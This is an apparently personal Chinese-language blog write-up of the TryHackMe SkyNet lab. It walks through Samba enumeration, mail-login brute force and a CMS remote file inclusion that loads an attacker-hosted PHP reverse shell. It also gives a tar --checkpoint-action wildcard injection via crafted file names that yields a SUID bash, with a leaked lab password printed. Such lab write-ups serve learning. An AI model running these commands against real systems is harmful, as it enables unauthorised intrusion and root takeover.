noone___'s blog
0%

THM打靶日寄6-SkyNet

发表于 更新于 分类于
一个好麻烦的东西啊

  • 扫描打点

    看到 445 有 samba ，试试匿名连接，里面有个 attention.txt 和 logs 文件夹

    只有 log1 有东西，看起来像密码，其他两个都是空的

    看不出有什么东西，看提示是枚举 samba

    enum4linux -a -o 10.10.3.119 爆一下

    找到了（可能的）id ：milesdyson

    这里耻辱看题解，发现应该扫那个网站，感觉是前面不需要扫站的靶机打多了啊嗯

    扫出来的 admin 404 了，但 /squirrelmail 还可以访问

    想到刚刚的用户名和长得像密码本的东西，爆破一下试试

    burp 明显慢好多啊

    看这个长度密码应该就是 cyborg007haloterminator

    成功登入后台

  • getshell

    后台乱找一找先：

    找到 smb 的密码：)s{A&2Z=F^n_E.B`

    剩下两封邮件是意义不明的明文及二进制下的 balls have zero to me to me to me ，但可惜我没看过终结者，get不到这个点

    那就去连 smb 试试：smbclient -U milesdyson //10.10.3.119/milesdyson

    首先那几个大型的 pdf 被忽略了，然后切到 notes ，发现好多 md 文件里面多出来一个 important :

    切到那个 CMS 的网页里，又是个彩蛋

    再次耻辱看题解，要再扫一次这个 CMS 下的目录：

    找到 http://10.10.3.119/45kra24zxs28v3yd/administrator/

    有了 CMS 型号就好很多了，直接搜搜：

    幽默 msf 怎么没搜到

    去看一眼，好像是个文件包含，要包含个 php 反弹 shell

    kali自带的在 /usr/share/webshells/php

    改一下地址，根据 poc 所说的访问：http://10.10.3.119/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.11.99.99:9000/php-reverse-shell.php

  • tar 命令 linux 提权

    先传个反弹 shell 到 msf 上再说

    本来计划仿照 kenobi 那样，但好像不行：

    之前用过的 sudo -l 也不行

    耻辱看题解 $\times 3$

    要看计划任务 cat /etc/crontab

    看到这个 backup 有 root 的权限，试着改一改：

    哦没权限啊那没事了

    看一下内容，是一个每分钟的定时任务，打包一下 var/www/html

    啊嗯接着看题解：

    可以从 GTFObins 查到 tar 命令的 root 提权方法：

    tar 命令存在一个 -checkpoint 参数，其允许每次归档 X 文件后显示进度消息。但重点是其可以和另一个标志 -checkpoint-action 连用，可以在每次触发检查点的时候以二进制或脚本形式进行一些操作

    也就是说可以写一个提权脚本，让 -checkpoint-action 激活它，同时把 -checkpoint 设小一点以便更快的激活

    这么做的前提是 backup 脚本使用了通配符 * 归档的是全部文件，所以直接加到目录下面就可以

    在 var/www/html 下新建一个 bash 脚本，其将创建一个 bash 的副本

    echo "cp /bin/bash /tmp/qwq && chmod +s /tmp/qwq" > qwq.sh

    再去做剩下两个参数：

    1
    2
    touch "/var/www/html/--checkpoint=1"
    touch "/var/www/html/--checkpoint-action=exec=sh qwq.sh"

    这里这两个文件名就相当于参数被注入进去一样了，最后执行的命令就类似于 

    1
    2
    tar cf /home/milesdyson/backups/backup.tgz --checkpoint=1
    tar cf /home/milesdyson/backups/backup.tgz --checkpoint-action=exec=sh

    放进去静置一分钟（雾

    就能在脚本里面的路径： /tmp 下面找到有着 SUID 权限的 qwq 了

    理论上现在直接 qwq -p 就提权了，但这里靶机一直卡，已经神志不清了